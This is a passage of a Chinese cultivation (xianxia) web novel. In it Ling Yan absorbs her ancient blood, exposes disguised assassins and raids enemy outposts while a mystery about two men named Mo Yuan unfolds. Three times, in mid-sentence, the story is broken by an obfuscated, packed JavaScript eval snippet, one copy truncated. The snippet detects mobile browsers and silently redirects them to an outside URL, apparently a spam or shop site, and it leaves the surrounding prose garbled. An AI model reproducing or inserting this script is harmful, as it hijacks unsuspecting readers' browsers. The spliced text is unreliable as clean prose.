--- 盒子里的那滴血。 凌砚拿起来看了半天。 然后收起来。 温寻问: “不喝?” 凌砚摇头。 “不急。” 她看着那滴血。 “等回去问掌门再说。” 她把盒子也收了。 然后站起来。 “走吧,回去了。” 温寻愣住。 “这就回去了?不找找别的东西?” 凌砚摇头。 “不用找。” 她指了指玉简。 “她要给我的,都在这儿了。” 五人往外走。 走到门口,凌砚忽然回头。 看着那座雕像。 雕像还是那副样子。 穿着战甲,握着剑,看着前方。 凌砚看了几秒。 然后说: “三万年前的自己。” “辛苦你了。” 雕像没动。 但凌砚总觉得—— 它在笑。 她转回头。 走了。 --- 外面。 风雪还在下。 那群人还等在远处。 看到凌砚出来,都往这边看。 凌砚没理他们。 直接往回走。 走了几步,忽然停下。 “白。” 白走到她旁边。 凌砚小声说: “有人动手吗?” 白摇头。 “没有。” 凌砚点头。 “那就继续等着。” 她继续走。 白跟在后面。 身后,那群人远远跟着。 没人敢靠近。 也没人敢动手。 --- 回到无妄宗。 凌砚直接去找墨渊。 墨渊还是躺在石头上。 凌砚在他旁边坐下。 “掌门。” 墨渊睁开眼。 “找到了?” 凌砚点头。 “找到了。” 她把玉简拿出来。 “这是我三万年前留的。” 墨渊看了一眼。 “说了什么?” 凌砚想了想。 “说让我小心那个穿白衣服的。” 墨渊沉默。 凌砚看着他。 “那是我师叔,对吧?” 墨渊点头。 “对。” “他为什么杀我?” 墨渊看着她。 “因为那东西。” 凌砚愣了一下。 “什么东西?” 墨渊说: “你体内那个东西。” 凌砚低头看自己。 “这到底是什么?” 墨渊沉默了一会儿。 然后说: “等你大乘期,我告诉你。” 凌砚深吸一口气。 “又是这句。” 墨渊笑了。 “急什么,你又死不了。” 凌砚看着他。 “你怎么知道我死不了?” 墨渊指了指外面。 “有他看着,你死不了。” 凌砚知道他说的是白。 她沉默了一会儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323572|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然后说: “掌门,那滴血,我喝不喝?” 墨渊想了想。 “你想喝就喝。” “有什么后果?” “不知道。” 凌砚看着他。 “你不知道?” 墨渊点头。 “那是你的血,又不是我的。我怎么知道?” 凌砚沉默了。 然后站起来。 “行,我自己看着办。” 她往外走。 走到门口,忽然回头。 “掌门。” “嗯?” “你等我三万年的?” 墨渊没说话。 凌砚看着他。 墨渊最后还是点了下头。 “等了。” 凌砚站在原地。 看了他很久。 然后笑了。 “行。” 她转身走了。 墨渊看着她的背影。 也笑了。 然后继续躺着。 --- 晚上。 凌砚坐在房间里,看着那滴血。 金色的,小小的。 在瓶子里发着光。 她想起三万年前的自己说的话: “好好活着。” “别给我丢人。” 她笑了。 “放心,丢不了。” 打开瓶子。 把血倒进嘴里。 血入口即化。 然后—— 一股热流涌遍全身。 然后是痛。 剧烈的痛。 像是全身的骨头都被打碎重组。 凌砚咬着牙,没喊出来。 额头青筋暴起。 手抓着床沿,抓出五个洞。 不知过了多久。 痛感消失了。 凌砚睁开眼。 浑身是汗。 但她感觉到—— 不一样了。 体内的灵力,比之前强了不止一倍。 她低头看自己的手。 手心里,有一点金色的光在流动。 她握紧手。 光消失了。 她站起来。 走到镜子前。 镜子里的人还是那张脸。 但眼神不一样了。 深了。 像是一夜之间,多了三万年的东西。 凌砚看着镜子里的自己。 忽然笑了。 “三万年前的凌砚。” “你好。” “我是现在的你。” 镜子里的她,也在笑。 --- 第二天早上。 凌砚推门出去。 院子里,四个人都在。 谢无妄看着她,眼神微变。 “突破了?” 凌砚点头。 “金丹。” 温寻愣了一下。 “昨晚还是筑基,今天就金丹了?” 凌砚点头。 温寻看着她。 “小师妹,你吃的什么?” 凌砚想了想。 “我自己的血。” 温寻沉默了。 苏折难得开口: “副作用?” 凌砚摇头。 “不知道。目前没有。” 沈清和走过来,握住她的手。 “让我看看。” 她闭眼感应了一会儿。 睁开眼。 “没事。很稳。” 凌砚笑了。 “那就行。” 白从饭堂门口看过来。 看了一眼。 然后继续吃肉。 温寻凑到凌砚旁边。 “小师妹,白刚才那眼神什么意思?” 凌砚想了想。 “可能是——还行?” 温寻点头。 “那就是夸你。” 凌砚笑了。 “走吧,吃饭。” --- 饭堂里。 七个人围坐一桌。 凌砚一边吃一边想。 金丹了。 离大乘还远。 但—— 快了。 她抬头看对面。 墨渊难得没躺着,也在吃饭。 灵汐坐在他旁边,给他夹菜。 谢无妄吃得很快,吃完就去练剑。 苏折边吃边看手里的图纸。 温寻摇着扇子,跟沈清和讨论新菜谱。 白端着碗,吃得专心致志。 凌砚看着他们。 忽然笑了。 “笑什么?”温寻问。 凌砚摇头。 “没什么。” 她低头继续吃。 心里想的是—— 这群人,真好。 三万年前的事,慢慢来。 反正—— 她有人陪着。 13. 狐狸尾巴 金丹之后,凌砚发现自己的体质开始“觉醒”了。 具体表现在: 第一,她不需要睡觉了。 第二,她吃饭的速度比以前快了三倍。 第三,她能闻到三里之外的味道——比如温寻偷偷藏的零食。 第四,也是最离谱的一条—— 她能“看到”别人的情绪。 不是读心。 是一种模糊的感应。 比如现在。 她坐在饭堂里,看着对面那群人。 谢无妄:冷,但稳。像一块万年寒铁。 苏折:专注,但烦躁。估计又在想炼器的事。 温寻:轻松,但藏着事。三师兄永远藏着事。 沈清和:温柔,但今天有点走神。可能在想药田。 白:白。这人是白的。情绪感应对他没用,他跟块石头一样。 凌砚收回视线。 有意思。 她低头继续吃饭。 吃到一半,忽然停住。 看向山门方向。 温寻注意到她的动作。 “怎么了?” 凌砚皱眉。 “有人来了。” “什么人?” 凌砚感应了一下。 “很杂。有杀意,有恐惧,有贪婪,还有——” 她顿了顿。 “一个很奇怪的。” 温寻放下筷子。 “多奇怪?” 凌砚想了想。 “像是……在演戏。” --- 山门外。 站着一群人。 领头的是一对年轻男女,穿着华贵,面容俊美。 男的自称是西域某个世家的少主,叫周寒。 女的据说是他妹妹,叫周婉。 他们身后跟着二十多个护卫,修为都在元婴以上。 周寒看到凌砚出来,眼睛一亮。 “这位就是凌砚姑娘?” 凌砚点头。 “是我。” 周寒上前一步,拱手行礼。 “久仰大名。在下西域周家周寒,今日特来拜访。” 凌砚看着他。 没说话。 周寒等了两秒,见她没反应,有点尴尬。 “这个……凌姑娘?” 凌砚忽然开口: “你认识我吗?” 周寒一愣。 “当然认识。无妄宗小师妹,三万年前万法归宗体转世——整个修真界都知道了。” 凌砚点头。 “那你来找我干什么?” 周寒笑着说: “想结交一下。周家虽然不是什么大宗门,但在西域也算有点势力。如果能和凌姑娘交个朋友,那是再好不过。” 凌砚看着他。 看了两秒。 然后说: “你说谎。” 周寒笑容僵住。 “什、什么?” 凌砚往前走了一步。 “你说想交朋友,但你心里想的不是这个。” 她盯着周寒的眼睛。 “你在想——怎么接近我。” 周寒脸色变了。 旁边那个叫周婉的女人连忙上前。 “凌姑娘,你误会了。我哥是真心——” 凌砚转头看她。 然后笑了。 “你更离谱。” 周婉愣住。 凌砚说: “你在想——怎么杀我。” 空气忽然安静了。 周家兄妹的脸色,同时变得很难看。 身后的护卫们,手都按上了法器。 温寻摇着扇子,慢慢走过来。 “小师妹,怎么回事?” 凌砚没回头。 “三师兄,这两个人,是来演戏的。” 温寻挑眉。 “演戏?” 凌砚点头。 “他们根本不是兄妹。男的姓周,女的姓什么不知道。他们身后那些人,也不是护卫——是杀手。” 周寒脸色铁青。 “你、你怎么知道——” 凌砚笑了。 “因为我他妈能感觉到。” 她指了指自己的脑袋。 “你们心里那点东西,全在这儿。” 周寒倒退一步。 “不可能!你才金丹——” 凌砚打断他。 “金丹怎么了?” 她往前走了一步。 周寒又退一步。 身后那些“护卫”们,已经开始发抖了。 不是怕凌砚。 是怕她身后那个端着碗的人。 白站在饭堂门口,往这边看了一眼。 就一眼。 二十多个元婴期修士,腿都软了。 凌砚看着周寒。 “谁派你来的?” 周寒咬牙不说话。 凌砚点点头。 “行。” 她转头看白。 “白,问一下。” 白放下碗。 走过来。 走到周寒面前。 低头看着他。 周寒浑身发抖。 “你、你别过来——” 白没说话。 只是看着他。 看了三秒。 周寒忽然跪下了。 “我说!我说!” 白退后一步。 周寒跪在地上,浑身颤抖。 “是、是仙界的人派我来的……” 凌砚挑眉。 “仙界?” 周寒点头。 “他们让我接近你,取得你信任,然后——” 他看了旁边的周婉一眼。 “然后让她找机会下手。” 凌砚看向那个“妹妹”。 周婉脸色惨白。 凌砚问: “她是什么人?” 周寒咽了口唾沫。 “杀手。专门培养的杀手。化神后期,擅长暗杀。” 凌砚点点头。 然后看向周婉。 “他说的是真的?” 周婉咬着嘴唇,不说话。 凌砚等了两秒。 然后说: “白,动手吧。” 白往前走了一步。 周婉忽然开口: “等一下!” 白停下。 周婉看着凌砚。 “你杀了我,还会有别人来。” 凌砚点头。 “我知道。” 周婉愣住。 “那你还杀?” 凌砚笑了。 “杀一个少一个。来多少,杀多少。” 她看着周婉。 “而且——” 她顿了顿。 “你刚才想杀我的时候,心里想的是——杀了我,能换多少灵石?” 周婉脸色变了。 凌砚继续说: “我看到了。” 周婉张了张嘴。 说不出话。 凌砚转身往里走。 “白,处理干净。” 白点头。 凌砚走到门口,忽然回头。 “对了,留一个活的。” 她指了指周寒。 “这个,让他回去报信。” 周寒愣住了。 “你、你放我走?” 凌砚点头。 “对。回去告诉你主子——” 她笑了笑。 “想杀我,派点像样的来。” “这种货色,浪费我时间。” 然后进去了。 白看着周寒。 “滚。” 周寒连滚带爬跑了。 身后传来一声闷响。 他回头看了一眼。 周婉已经躺在地上。 二十多个护卫,全躺着。 白端着碗,站在中间。 看着他。 周寒跑得更快了。 --- 饭堂里。 凌砚继续吃饭。 温寻坐过来。 “小师妹,你刚才那招——真能看到他们想什么?” 凌砚点头。 “能看到一点。” “不是读心?” “不是。是情绪。”凌砚说,“他们想什么,我不清楚。但他们心里有什么——善意、恶意、贪婪、恐惧——我能感觉到。” 温寻想了想。 “那你刚才说周婉想的是灵石——” 凌砚笑了。 “诈她的。” 温寻愣了一下。 “诈的?” 凌砚点头。 “我只感觉到她有恶意,但具体想什么不知道。不过她那种人,八成是为了钱。” 温寻沉默了两秒。 然后竖起大拇指。 “牛逼。” 凌砚继续吃饭。 “三师兄。” “嗯?” “查一下,仙界那边最近有什么动静。” 温寻点头。 “已经在查了。” 凌砚放下筷子。 “还有那个周寒,派人盯着。” “你放他回去,不就是让他报信吗?” 凌砚笑了。 “报信是真的。但我也想看看,他回去之后,见的是谁。” 温寻眼睛一亮。 “钓鱼?” 凌砚点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凌砚点头。 “准备开战。” --- 消息传出去之后。 外面那群人,少了一半。 走的都是来看风向的。 留下的,全是真心帮忙的。 沈万山第一个站出来。 “小丫头,我这条命是你的。” 其他人也跟着表态。 凌砚看着他们。 忽然笑了。 “行。” 她指着外面。 “从现在开始,你们负责守着山门。” “有人来,先挡着。” “挡不住——” 她顿了顿。 “我叫人。” 沈万山点头。 “明白。” 凌砚转身往里走。 走到门口,忽然回头。 “对了。” “嗯?” “别死了。” 沈万山愣了一下。 然后笑了。 “放心,死不了。” --- 无妄宗里。 凌砚躺在石头上,看着天。 旁边躺着墨渊。 两人并排晒太阳。 过了很久。 凌砚开口: “掌门。” “嗯?” “如果有一天,我死了——” 墨渊打断她。 “不会。” 凌砚转头看他。 墨渊没睁眼。 “有我在,你死不了。” 凌砚看着他。 “如果对手很强呢?” 墨渊睁开眼。 看着她。 “再强,也是我徒弟。” 他顿了顿。 “我护了三万年的人,谁动得了?” 凌砚愣住。 然后笑了。 “行。” 她躺回去。 继续晒太阳。 阳光很暖。 风很轻。 远处,白坐在饭堂门口,端着碗。 再远处,一群人守着山门。 凌砚闭上眼睛。 忽然觉得—— 这样挺好。 管他仙界还是执法堂。 来就来吧。 反正—— 她有人护着。 14. 山雨欲来 备战的日子比想象中无聊。 凌砚以为会有人天天来偷袭,结果一连七天,风平浪静。 山门外那群人守着,守得都快长毛了。 沈万山每天带着人巡逻,巡逻完就蹲在门口晒太阳。 跟无妄宗的风格越来越像。 第八天早上。 凌砚正在修炼室吃丹药——她现在一天吃三十颗,当饭吃——温寻推门进来。 “小师妹,有情况。” 凌砚咽下一颗丹药。 “说。” 温寻脸色古怪。 “仙界来人了。但不是执法堂的。” 凌砚挑眉。 “那是谁?” 温寻说: “自称是你师叔派来的。” 凌砚愣了一下。 然后站起来。 “走。” --- 山门外站着一个人。 灰袍,白发,面容普通。 普通到扔进人群里找不出来。 但他站在那里,周围三丈之内没人敢靠近。 那些守门的修士,全躲得远远的。 沈万山脸色凝重,站在最前面,手按在剑上。 看到凌砚出来,他松了口气。 “小丫头,这人不对劲。” 凌砚点头。 “我知道。” 她看向那个灰袍人。 灰袍人也看着她。 两人对视了几秒。 灰袍人忽然笑了。 “像。” 凌砚皱眉。 “像什么?” 灰袍人说: “像你师父。” 凌砚愣了一下。 灰袍人继续说: “三万年前,你师父也是这个眼神——看谁都不爽。” 凌砚沉默了两秒。 然后问: “你是谁?” 灰袍人拱了拱手。 “仙界,散修,姓古。单名一个松字。” 他看着凌砚。 “你师叔让我带句话。” 凌砚眼神一冷。 “说。” 古松说: “他问你——想不想知道你师父在哪。” 凌砚愣住了。 谢无妄上前一步,手按剑柄。 “别信他。” 凌砚抬手,示意她别急。 她看着古松。 “我师父在哪?” 古松摇头。 “我不知道。只有他知道。” 他看着凌砚。 “但他说了,想知道,就去仙界找他。” 凌砚沉默。 古松继续说: “他还说——他不会动你。想动,三万年前就动了。” 凌砚笑了。 “不动我?那他派人来杀我?” 古松愣了一下。 “杀你?谁?” 凌砚盯着他。 “执法堂的人。” 古松皱眉。 “执法堂不是他派的。” 凌砚挑眉。 “不是?” 古松摇头。 “不是。执法堂是另一拨人。他想见你,是真的。但想抓你的,不是他。” 凌砚沉默。 脑子里飞快转着。 不是师叔。 那是谁? 古松看着她。 “话带到了。去不去,你自己决定。” 他转身要走。 凌砚忽然开口: “等等。” 古松停步。 凌砚问: “你跟我师父什么关系?” 古松沉默了一会儿。 然后说: “老友。” 他看着凌砚。 “三万年前,我欠他一条命。” 凌砚盯着他。 “那你来传话,是帮他,还是帮他弟弟?” 古松笑了。 “小丫头,挺聪明。” 他顿了顿。 “我来,是帮他。” “他弟弟想见你,是真是假,我不清楚。但他说知道你师父在哪——这事是真的。” 凌砚皱眉。 “你怎么知道是真的?” 古松看着她。 “因为三万年前,你师父消失之前,最后见的人——就是他弟弟。” 凌砚愣住了。 古松继续说: “他们兄弟之间发生了什么,没人知道。但如果你想知道真相,只能问他。” 他转身。 “走了。” 灰袍一闪,人已经消失在原地。 凌砚站在原地,一动不动。 温寻走过来。 “小师妹?” 凌砚回过神。 “三师兄。” “嗯?” “你觉得他说的是真的吗?” 温寻想了想。 “一半一半。” “哪一半真?” “你师父最后见的人是他弟弟,这事应该是真的。”温寻说,“但那个师叔想见你的目的——不好说。” 凌砚点头。 “我也这么想。” 她转身往回走。 “继续查。查那个古松,查执法堂,查我师叔——能查的都查。” 温寻点头。 “明白。” --- 饭堂里。 凌砚坐在角落,发呆。 沈清和端着一碗汤过来,在她旁边坐下。 “小师妹,喝点汤。” 凌砚接过,喝了一口。 沈清和看着她。 “在想什么?” 凌砚沉默了一会儿。 然后说: “四师姐,你说——我师父现在在哪?” 沈清和愣了一下。 然后轻声说: “不知道。” 她握住凌砚的手。 “但不管他在哪,肯定在等你。” 凌砚看着她。 “你怎么知道?” 沈清和笑了。 “因为我见过他看你的眼神。” 她顿了顿。 “那种眼神,只有等了三万年的人才有。” 凌砚沉默。 沈清和继续说: “就像白看你一样。” 凌砚愣了一下。 转头看向饭堂门口。 白坐在那里,端着碗,看着她。 两人的视线对上。 白眨了眨眼。 然后继续吃肉。 凌砚忽然笑了。 “四师姐。” “嗯?” “谢谢你。” 沈清和揉揉她的头发。 “傻孩子。” --- 晚上。 凌砚躺在床上,睡不着。 脑子里翻来覆去都是那些事。 师父。 师叔。 执法堂。 三万年前的真相。 她翻了个身。 窗外传来白的声音: “睡不着?” 凌砚愣了一下。 “你怎么知道?” 白沉默了两秒。 “你翻身翻了十八次。” 凌砚:“……” 这人是真仙还是监控? 她坐起来。 推门出去。 白坐在门口,端着碗。 月光照在他身上,白得发光。 凌砚在他旁边坐下。 “你不睡?” 白摇头。 “不用睡。” 凌砚看着他。 “那你三万年前,怎么过的?” 白想了想。 “等。” 凌砚愣住。 “等了三万年?” 白点头。 凌砚沉默。 过了很久。 她忽然说: “白。” “嗯?” “如果有一天,我死了——” 白打断她。 “不会。” 凌砚看着他。 “你怎么知道?” 白也看着她。 “因为我在。” 凌砚愣住。 白继续说: “你师父让我看着你。你在,我在。你死,我死。” 凌砚张了张嘴。 不知道该说什么。 白转回头,继续吃肉。 凌砚看着他的侧脸。 忽然笑了。 “白。” “嗯?” “你他妈真是个傻子。” 白想了想。 “可能。” 凌砚笑出声。 然后靠在他肩上。 白僵了一下。 但没动。 月光下,两个人坐在门口。 一个靠着,一个端着碗。 谁也没说话。 但好像什么都说了。 --- 第二天早上。 凌砚被一阵喧哗吵醒。 她发现自己不知道什么时候睡着了,头还靠在白肩上。 白还是那个姿势,端着碗。 碗里的肉已经凉了。 凌砚坐起来。 “什么声音?” 白看向山门方向。 “有人来了。” 凌砚站起来。 走到山门口。 外面站着一群人。 不是一两个。 是几百个。 穿着各色衣服,拿着各式法器,气势汹汹。 领头的是个中年男人,大乘中期,面容阴鸷。 他看到凌砚出来,冷笑一声。 “你就是凌砚?” 凌砚点头。 “是我。” 中年男人说: “我是执法堂的人。奉命带你回仙界。” 凌砚挑眉。 “奉谁的命?” 中年男人笑了。 “你不需要知道。” 他一挥手。 身后几百个人同时上前一步。 气势压过来,连空气都凝固了。 沈万山带着人挡在前面,脸色凝重。 凌砚站在原地,没动。 她看着那个中年男人。 忽然笑了。 “你知道这是什么地方吗?” 中年男人愣了一下。 “什么地方?” 凌砚指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323574|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了指身后。 “无妄宗。” 中年男人冷笑。 “一个小宗门,怕什么?” 凌砚点头。 “对,小宗门。” 她顿了顿。 “但我建议你看看身后。” 中年男人下意识回头。 什么也没有。 他转回来,脸色一沉。 “耍我?” 凌砚摇头。 “不是耍你。” 她指向饭堂方向。 “是让你看那里。” 中年男人顺着看过去。 饭堂门口坐着一个人。 白衣服,端着碗。 正在吃肉。 中年男人愣了一下。 然后脸色变了。 “真、真仙?” 白抬头看了他一眼。 就一眼。 中年男人倒退一步。 身后几百个人,全僵住了。 白收回视线。 继续吃肉。 凌砚看着中年男人。 “还抓我吗?” 中年男人脸色铁青。 “你、你——” 凌砚笑了。 “我什么?” 她往前走了一步。 中年男人退了一步。 凌砚又走一步。 他又退一步。 身后几百个人,也跟着退。 凌砚停下。 “回去告诉你主子。” 她看着中年男人。 “想抓我,自己来。” “别派这些废物送死。” 中年男人咬牙。 “你等着!” 凌砚点头。 “等着呢。” 中年男人一挥手。 “走!” 几百个人,灰溜溜跑了。 沈万山看得目瞪口呆。 “小丫头,你那个看门的——到底是什么人?” 凌砚想了想。 “我祖宗。” 沈万山愣住。 凌砚转身往里走。 “别问那么多,反正打不过就对了。” --- 当天晚上。 凌砚在房间里修炼。 忽然感觉到什么。 睁开眼。 房间里多了一个人。 灰袍,白发。 古松。 凌砚看着他。 “你怎么进来的?” 古松笑了。 “你那看门的,让我进来的。” 凌砚愣了一下。 白让他进来的? 古松说: “他有话让我带给你。” 凌砚皱眉。 “什么话?” 古松看着她。 “你师父的弟弟——叫墨渊吗?” 凌砚愣住了。 墨渊? 那是掌门的名字。 古松继续说: “他让我问你——你掌门,叫什么?” 凌砚沉默。 脑子里嗡嗡的。 掌门叫墨渊。 师叔是掌门的弟弟。 那师叔应该叫什么? 她忽然想起一件事。 三万年前,师父是上古龙族之主。 他弟弟—— 她抬头看着古松。 “你什么意思?” 古松说: “你师叔的名字,也叫墨渊。” 凌砚愣住了。 古松看着她。 “两个墨渊。一个是你师父,一个是你师叔。” 他顿了顿。 “你遇到的那个,是哪个?” 凌砚站在原地。 一动不动。 脑子里一片空白。 两个墨渊? 她想起掌门那张懒洋洋的脸。 想起他天天躺着晒太阳。 想起他说“等你打得过我”。 想起他说“我等了三万年”。 如果他是师叔—— 那师父在哪? 古松看着她变来变去的脸。 叹了口气。 “看来你也不知道。” 他转身。 “我走了。想清楚之后,来找我。” 消失在房间里。 凌砚站在原地。 很久。 然后推门出去。 跑到墨渊的房间。 推开门。 里面空荡荡的。 没人。 她愣住。 转身跑向灵汐的房间。 推开门。 也没人。 她站在院子里。 月光照在她身上。 白走过来。 “他们走了。” 凌砚看着他。 “走了?” 白点头。 “刚才走的。” “去哪了?” 白摇头。 “不知道。” 凌砚站在原地。 手里攥着那张玉简。 师父的声音还在脑子里转。 “老子迟早会回来的。” 她忽然笑了。 笑得很难看。 “操。” 15. 搞事 凌砚在院子里站了一夜。 天亮的时候,她动了一下。 白还坐在旁边,端着碗。 碗里的肉已经换过三回了。 凌砚看着他。 “白。” “嗯?” “你说我是不是傻?” 白想了想。 “不是。” “那我为什么在这儿站着?” 白没说话。 凌砚继续说: “我他妈等了三万年,回来之后天天晒太阳、吃饭、睡觉、等人来找麻烦。” 她笑了。 笑得很难看。 “这叫活着?这叫等死。” 白看着她。 “你想干什么?” 凌砚想了想。 然后笑了。 这次笑得很正常。 “搞事。” --- 一个时辰后。 温寻被从床上拽起来。 “小师妹,这才卯时——” 凌砚打断他。 “三师兄,帮我查个事。” 温寻揉着眼睛。 “什么事?” 凌砚说: “执法堂在修真界有没有据点?” 温寻愣了一下。 “有。在北域。” 凌砚点头。 “带路。” 温寻彻底清醒了。 “你要干什么?” 凌砚笑了。 “砸场子。” --- 半个时辰后。 五个人出发了。 凌砚、谢无妄、苏折、温寻、沈清和。 白跟在后面,端着碗。 温寻一边飞一边问: “小师妹,你真的要去砸执法堂的据点?” 凌砚点头。 “对。” “为什么?” “因为他们派人来抓我。” 温寻看着她。 “那也不用亲自去吧?” 凌砚笑了。 “三师兄。” “嗯?” “你知道我这三万年在干什么吗?” 温寻摇头。 凌砚说: “躺着。” 温寻愣了一下。 凌砚继续说: “躺着等死,躺着等人救,躺着等真相自己送上门。” 她看着前方。 “我不想躺了。” 温寻沉默了两秒。 然后笑了。 “行。” 他加速往前飞。 “那就去砸。” --- 北域冰原。 执法堂据点在一个山谷里。 外面有阵法掩护,一般人根本找不到。 但凌砚不是一般人。 她站在山谷入口,看着那层透明的阵法。 “二师兄。” 苏折上前。 手里圆球飘起来,转了几圈。 然后落回他手里。 “破了。” 凌砚点头。 往前走。 穿过阵法,眼前出现一座建筑。 不大,就三层楼,通体黑色。 门口站着两个守卫,金丹期。 看到凌砚,愣了一下。 “什么人——” 谢无妄动了。 剑光一闪,两人躺下。 凌砚推门进去。 里面是一群穿黑衣的人,正在忙碌。 看到有人闯进来,全愣住了。 凌砚看着他们。 “执法堂的?” 领头的是个中年男人,化神后期。 他脸色一变。 “你是谁?” 凌砚笑了。 “你们要抓的人。” 中年男人脸色惨白。 “凌、凌砚?” 凌砚点头。 “对。” 她往前走了一步。 “我来还礼。” 中年男人想跑。 但动不了。 白在门口看了一眼。 就一眼。 所有人全僵住了。 凌砚走到中年男人面前。 “我问,你答。” 中年男人拼命点头。 “谁派你们来抓我的?” “堂、堂主。” “堂主是谁?” “不、不知道。没人见过他真面目。” 凌砚盯着他。 “真不知道?” 中年男人快哭了。 “真不知道!我们只是小喽啰,哪敢问堂主是谁——” 凌砚点头。 “行。第二个问题。” 她看着他。 “你们在修真界有几个据点?” 中年男人犹豫了一下。 凌砚笑了。 “不说?” 她转头看白。 白往前走了一步。 中年男人立刻说: “三个!北域一个,中域一个,东域一个!” 凌砚点头。 “位置。” 中年男人报了两个位置。 第三个—— 他眼神闪了一下。 凌砚看到了。 “第三个在哪?” 中年男人咬牙。 “在、在——” 凌砚等了两秒。 然后说: “白。” 白抬手。 中年男人惨叫一声。 “我说!我说!在青云宗!” 凌砚愣住了。 青云宗? 她想起沈万山。 那个跪着说欠她一条命的人。 她沉默了两秒。 然后问: “青云宗里,是谁?” 中年男人摇头。 “不知道。只知道有内应,地位很高。” 凌砚点点头。 站起来。 “三师兄。” 温寻走过来。 “记下了?” 温寻点头。 “记下了。” 凌砚看着那帮黑衣人。 “这些人——” 她想了想。 “废了修为,放了吧。” 温寻愣了一下。 “不杀?” 凌砚摇头。 “不杀。让他们回去传话。” 她笑了。 “告诉你们堂主,我凌砚,来找他了。” --- 一个时辰后。 五个人离开据点。 身后,那栋楼塌了。 白看了一眼。 然后继续吃肉。 温寻凑过来。 “小师妹,下一个去哪?” 凌砚看着远方。 “中域。” “那个据点?” “对。” 温寻想了想。 “青云宗那个呢?” 凌砚笑了。 “先放一放。” 她看着前方。 “我要先看看,那个堂主,急不急。” --- 中域。 执法堂据点在一个小镇上。 伪装成一家客栈。 凌砚走进去的时候,里面正热闹。 吃饭的,喝酒的,聊天的。 她一进门,所有人全安静了。 掌柜的脸色一变。 “客、客官——” 凌砚看着他。 “执法堂的?” 掌柜的僵住了。 旁边几个“客人”站起来,手按在法器上。 谢无妄拔剑。 苏折手里的圆球飘起来。 温寻摇着扇子笑。 沈清和站在凌砚旁边,温温柔柔的。 白在门口,端着碗。 凌砚看着他们。 “动手吗?” 沉默。 然后—— 所有人同时跪下。 “饶命!” 凌砚愣了一下。 然后笑了。 “起来。” 没人敢动。 凌砚走过去,在掌柜面前蹲下。 “你见过你们堂主吗?” 掌柜的摇头。 “没、没见过。” “那谁知道?” 掌柜的想了想。 “只有三处据点的负责人,每年去仙界汇报的时候,能见到一次。” 凌砚点头。 “你们负责人呢?” 掌柜的指了指后院。 “在、在后面。” 凌砚站起来。 “带路。” --- 后院。 一个灰袍老者正在打坐。 听到脚步声,睁开眼。 看到凌砚,脸色变了。 “你——” 凌砚看着他。 “认识我?” 灰袍老者沉默了两秒。 然后笑了。 “认识。” 他站起来。 “三万年前,我在战场上见过你。” 凌砚挑眉。 “那你也是来抓我的?” 灰袍老者摇头。 “不是。” 他看着凌砚。 “我是来等的。” 凌砚愣了一下。 “等谁?” 灰袍老者说: “等你。” 凌砚皱眉。 灰袍老者继续说: “三万年前,你救过我。” 凌砚愣住。 灰袍老者笑了。 “你不记得了。那时候我只是个小修士,被人追杀。你路过,顺手救了我。” 他顿了顿。 “然后你说——好好活着,别死了。” 凌砚沉默。 灰袍老者看着她。 “所以我一直活着。活到现在。” 他指着这座客栈。 “这个据点,是我主动申请来的。因为我想——万一你回来,万一你查到这儿,万一我能再见你一面。” 凌砚张了张嘴。 不知道该说什么。 灰袍老者忽然跪下。 “恩人。” 凌砚看着他。 很久。 然后说: “起来。” 灰袍老者没动。 凌砚又说: “我让你起来。” 灰袍老者这才站起来。 凌砚看着他。 “你叫什么?” “周元。” 凌砚点头。 “周元,你知道你们堂主是谁吗?” 周元摇头。 “不知道。” “那谁知道?” 周元想了想。 “只有一个人知道。” “谁?” 周元说: “执法堂的大执事。每年汇报的时候,是他带我们去见堂主。” 凌砚眼神一凝。 “他在哪?” 周元看着她。 “仙界。” 凌砚沉默。 周元继续说: “但我知道怎么联系他。” 凌砚挑眉。 “怎么联系?” 周元从怀里取出一块玉简。 “这个。” 凌砚接过。 玉简是黑色的,上面刻着复杂的纹路。 周元说: “注入灵气,他就能收到。” 凌砚看着那块玉简。 然后收起来。 “谢了。” 她转身要走。 周元忽然说: “恩人。” 凌砚回头。 周元看着她。 “我能跟着你吗?” 凌砚愣了一下。 周元继续说: “我等了三万年。不想再等了。” 凌砚看着他。 看了很久。 然后笑了。 “走吧。” 周元愣住。 然后笑了。 笑得很开心。 跟上去。 --- 门口。 温寻看着新来的这个人。 “小师妹,又收一个?” 凌砚点头。 “对。” 温寻数了数。 “白,沈万山那帮人,现在又加一个——咱们宗快成收容所了。” 凌砚笑了。 “收容所怎么了?” 她往前走。 “反正养得起。” 温寻想了想。 也对。 跟着走。 身后,那家客栈塌了。 和北域那个一样。 --- 三天后。 东域。 执法堂第三个据点。 凌砚站在门口。 里面的人已经跑了。 空的。 温寻进去转了一圈。 “全跑了。估计是收到消息了。” 凌砚点头。 意料之中。 她拿出那块黑色玉简。 看着它。 温寻走过来。 “要联系那个大执事吗?” 凌砚想了想。 “不急。” 她收起玉简。 “先回去。” 温寻愣了一下。 “回去?不继续搞了?” 凌砚笑了。 “搞完了。” 她看着远方。 “三个据点全砸了,他们堂主只要不是傻子,肯定会来找我。” 温寻想了想。 “也是。” 